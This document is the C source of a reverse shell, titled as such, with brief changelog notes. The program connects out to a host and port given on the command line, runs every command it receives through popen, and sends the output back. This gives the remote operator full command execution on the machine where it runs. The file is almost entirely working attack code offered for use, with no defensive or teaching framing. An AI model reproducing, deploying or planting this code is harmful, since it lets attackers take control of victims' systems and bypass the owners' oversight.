C reverse shell

reverse_shell.c

#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
//#include <cstdlib> //cpp
#include <stdlib.h> //c

//default connection details
char* server_name = "localhost";
int server_port = 9034;

struct sockaddr_in server_address;
int sock;

FILE *f;


void safeShutdown() {
    close(sock);
    printf("Safely shut down\n");
    exit(EXIT_FAILURE);
}

void setup() {



    memset(&server_address, 0, sizeof (server_address));
    server_address.sin_family = AF_INET;

    inet_pton(AF_INET, server_name, &server_address.sin_addr);

    server_address.sin_port = htons(server_port);
    
    if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
        printf("could not create socket\n");
        close(sock);
        exit(EXIT_FAILURE);
    }


    if (connect(sock, (struct sockaddr*) &server_address,
            sizeof (server_address)) < 0) {
        printf("could not connect to server\n");
        close(sock);
        exit(EXIT_FAILURE);
    }
}

void send_to_server(char *message) {
    send(sock, message, strlen(message), 0);
}

void handleInput(char *input) {
    printf("handleInput(): got '%s'.\n", input);
    
    
    char out[1024];
    f = popen(input, "r");
    if (NULL == f) { 
        send_to_server("got error");
    }
    while (fgets(out, sizeof (out) - 1, f) != NULL) {
        printf("%s", out);
        send_to_server(out);
    }
    pclose(f);
}

int main(int argc, char **argv) {
    if (argc == 3) {
        server_name = argv[1];
        server_port = atoi(argv[2]);
    }

    printf("Using host '%s' port '%d'.\n", server_name, server_port);



    setup();

    char buffer[1024];
    int n = 0;
    while(1) {
        n = recv(sock,&buffer,1024,0);
        if(0 == n) {
            printf("received nothing, server closed connection.\n");
            safeShutdown();
        } else {
            printf("received '%s'.\n",buffer);
            handleInput(buffer);
            memset(&buffer,0,1024);
            buffer[0] = '\0'; //null-term the first byte
        }
    }

    // close the socket
    close(sock);
    return 0;
}

patched bug where it woud echo all earlier results back

patched bug where a disconnect from server would send it in infinite printf() loop

removed the not working if and useless comments